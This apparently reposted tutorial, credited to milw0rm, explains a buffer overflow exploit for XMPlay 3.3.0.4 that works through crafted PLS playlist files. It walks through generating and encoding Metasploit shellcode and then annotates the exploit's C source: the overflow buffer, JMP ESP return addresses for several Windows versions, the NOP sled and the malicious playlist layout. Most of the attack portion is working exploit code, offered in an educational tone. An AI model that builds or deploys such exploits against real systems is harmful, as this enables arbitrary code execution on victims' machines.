<p>http://metasploit.com:55555/PAYLOADS?parent=GLOB%280x2b3a0bed83d0%29&#38;MODULE=win32_exec&#38;MODE=GENERATE&#38;OPT_CMD=calc.exe&#38;OPT_EXITFUNC=seh&#38;MaxSize=&#38;BadChars=0x00+&#38;ENCODER=Msf%3A%3AEncoder%3A%3AAlpha2&#38;ACTION=Generate+Payload</p>
<p>That should show you something like:</p>
<p>/* win32_exec -  EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com */<br />
unsigned char scode[] =<br />
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"<br />
"\x49\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x51\x5a\x6a\x46"<br />
"\x58\x30\x42\x31\x50\x42\x41\x6b\x41\x41\x56\x32\x41\x42\x41\x32"</p>
<p>etc etc....</p>
<p>Q: So how do convert it into the same form as the above one?<br />
A: Strip everything down, replace the \ chars with % and remove the " chars and the x chars by just replacing them with nothing<br />
untill you get something like this:</p>
<p>%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%49%49%49%49%49%48%49%49%49<br />
%49%49%49%51%5a%6a%48%58%50%30%42%30%42%6b%42%41%58%32%42%42%42%41%32%41%41<br />
%30%41%41%58%38%42%42%50%75%4b%59%4b%4c%4b%58%71%54%33%30%47%70%75%50%4c%4b</p>
<p>etc etc..</p>
<p>Then use the hex to ascii converter to convert it to the ascii form:</p>
<p>http://centricle.com/tools/ascii-hex/</p>
<p>It should output something like this:</p>
<p>?Y??????IIIIIIIIIIIHIIIIIIQZjHXP0B0BkBAX2BBBA2AA0AAX8BBPuKYKLKXqT30GpuPLK0EElNkCLs5d8u<br />
QholKbo6xnkQO10eQZK0InkFTNkWqXnFQiPJ9NLlDo0cDs7kqxJTMC1zbzKl4EkrtwTDDsEkUNkQOfDeQjKQvnk<br />
vl0KNk1OuLS1xkLKULlKc1ZKMYALUtfdO3Eakp0dnk70dpMUyPD8tLnk704LnkrPULNMLKAxC8JK7yLKmPnPS0<br />
S0WpLK587LSo01yfcP0VK9yhlCKpcK0PPhZPnjGtAO1xohYnNjFnf79oZG2CAqRLbCDnU5bXqus0H</p>
<p>congratulations...</p>
<p>---<br />
char NOPSled[50]; &#60;&#60;&#60;--- buffer used for the nopsled<br />
char tail[] = ".mid\r\n"; &#60;&#60;-- used to supply the extension<br />
int JMP, x; &#60;&#60;-- to store his jmp esp address</p>
<p>Usage information:</p>
<p>printf("\n======================================================================\n");<br />
printf("XMPlay 3.3.0.4 and prior PLS Filename Buffer Overflow Exploit\n");<br />
printf("Discovered and Coded By: Greg Linares &#60;GLinares.code[at]gmail[dot]com&#62;\n");<br />
printf("Usage: %s &#60;output PLS file&#62; &#60;JMP&#62; [Exploit Display Name] \n", argv[0]);<br />
printf("\n JMP Options\n");</p>
<p>List of targets which the exploit supports:</p>
<p>printf("1 = English Windows XP SP 2 User32.dll &#60;JMP ESP 0x77db41bc&#62;\n");<br />
printf("2 = English Windows XP SP 1 User32.dll &#60;JMP ESP 0x77d718fc&#62;\n");<br />
printf("3 = English Windows 2003 SP0 and SP1 User32.dll &#60;JMP ESP 0x77d74adc&#62;\n");<br />
printf("4 = English Windows 2000 SP 4 User32.dll  &#60;JMP ESP 0x77e3c256&#62;\n");<br />
printf("====================================================================\n\n\n");<br />
---<br />
Q: Why does he use JMP ESP???<br />
A: It's an exploitation method to bypass restrictions which are set by the operating system and ofcourse to execute your shellcode<br />
There is a nice paper on a couple of exploitation methods for linux and windows by David Litchfield:</p>
<p>http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf</p>
<p>or you could take a look at this,</p>
<p>http://www.google.nl/search?hl=nl&#38;q=jmp+esp+exploitation&#38;btnG=Zoeken&#38;meta=</p>
<p>Make sure you supply enough arguments (Usage: %s &#60;output PLS file&#62; &#60;JMP&#62; [Exploit Display Name] \n", argv[0]);)</p>
<p>if (argc &#60; 2) {<br />
printf("Invalid Number Of Arguments\n");<br />
return 1;<br />
}</p>
<p>This part generates a new file for writing, the filename is supplied by you (argv[1])</p>
<p>----<br />
Exploit = fopen(argv[1],"w");<br />
----</p>
<p>Print an error if the exploit fails to "open" a new file.</p>
<p>----<br />
if ( !Exploit )<br />
{<br />
printf("\nCouldn't Open File!");<br />
return 1;<br />
}<br />
----</p>
<p>----<br />
memset(buffer, 0, 505);<br />
memset(NOPSled, 0, 20);<br />
----</p>
<p>NAME<br />
memset - fill memory with a constant byte</p>
<p>SYNOPSIS<br />
#include &#60;string.h&#62;<br />
void *memset(void *s, int c, size_t n);</p>
<p>DESCRIPTION<br />
The  memset()  function fills the first n bytes of the memory area pointed<br />
to by s with the constant byte c.</p>
<p>----</p>
<p>Remember:</p>
<p>PLS Format<br />
[playlist]<br />
File1=C:\[BUFFER][JMP][SHELLCODE][NOPSLED][Extension]<br />
Title1=title (could also be used for the buffer overflow exploit)</p>
<p>----<br />
fputs("[playlist]\r\n", Exploit); &#60;- Puts [playlist] into the file<br />
fputs("File1=", Exploit); &#60;- puts File1= into the file<br />
fputs("C:\\", Exploit); &#60;- puts C:\ into the file</p>
<p>----</p>
<p>Fill the buffer with A's (U gotta luv the A)</p>
<p>----<br />
for (x=0;x&#60;505;x++) {<br />
strcat(buffer, "A");<br />
}<br />
----</p>
<p>fputs(buffer, Exploit); &#60;- put the buffer into the file.<br />
----</p>
<p>This part defines your target so if you chose 1 for example..it would use \xbc\x41\xdb\x77 as jmp esp address.</p>
<p>----<br />
if (atoi(argv[2]) &#60;= 0) {<br />
JMP = 1;<br />
} else if (atoi(argv[2]) &#62; 4) {<br />
JMP = 1;<br />
} else {<br />
JMP = atoi(argv[2]);<br />
}<br />
switch(JMP) {<br />
case 1:<br />
printf("Using English Windows XP SP2 JMP...\n");<br />
fputs("\xbc\x41\xdb\x77", Exploit);<br />
break;<br />
case 2:<br />
printf("Using English Windows XP SP1 JMP...\n");<br />
fputs("\xfc\x18\xd7\x77", Exploit);<br />
break;<br />
case 3:<br />
printf("Using English Windows 2003 SP0 &#38; SP1 JMP...\n");<br />
fputs("\xdc\x4a\xd7\x77", Exploit);<br />
break;<br />
case 4:<br />
printf("Using English Windows 2000 SP 4 JMP...\n");<br />
fputs("\x56\xc2\xe3\x77", Exploit);<br />
break;<br />
}</p>
<p>-----</p>
<p>fputs(scode, Exploit); &#60;- put the shellcode into the file.</p>
<p>----<br />
for (x=0;x&#60;20;x++) {<br />
strcat(NOPSled, "\x90"); &#60;- fill the nopsled with 0x90's<br />
}<br />
----</p>
<p>----<br />
fputs(NOPSled, Exploit); &#60;- put the nopsled into the file<br />
fputs(tail, Exploit);<br />
if (strlen(argv[4]) &#62; 0) {<br />
fputs("Title1=", Exploit); &#60;- puts your "title" into the file , if you supplied one..<br />
fputs(argv[4], Exploit);<br />
fputs("\r\n", Exploit);<br />
} else { &#60;- if you didn't supply a "title" it supplies one for you...<br />
fputs("Title1=XMPlay_0-Day_PLS_Buffer_Overflow_Exploit_By_Greg_Linares\r\n", Exploit);<br />
}</p>
<p>fputs("Length1=512", Exploit); &#60;- puts Length1=512 into the file</p>
<p>printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]); &#60;- done with the file...</p>
<p>printf("Exploit Coded by Greg Linares (GLinares.code[at]gmail[dot]com)\n"); &#60;- even more comments by the author.<br />
printf("Greetz to: Jerome Athias and Expanders - Thanks For The Ideas, Tools and Alpha2 Shell Code\n");</p>
<p>fclose(Exploit); &#60;- close the file handle.<br />
return 0;<br />
}</p>
<p>Source : milw0rm , Preddy</p>
]]></content:encoded>
</item>

</channel>
</rss>
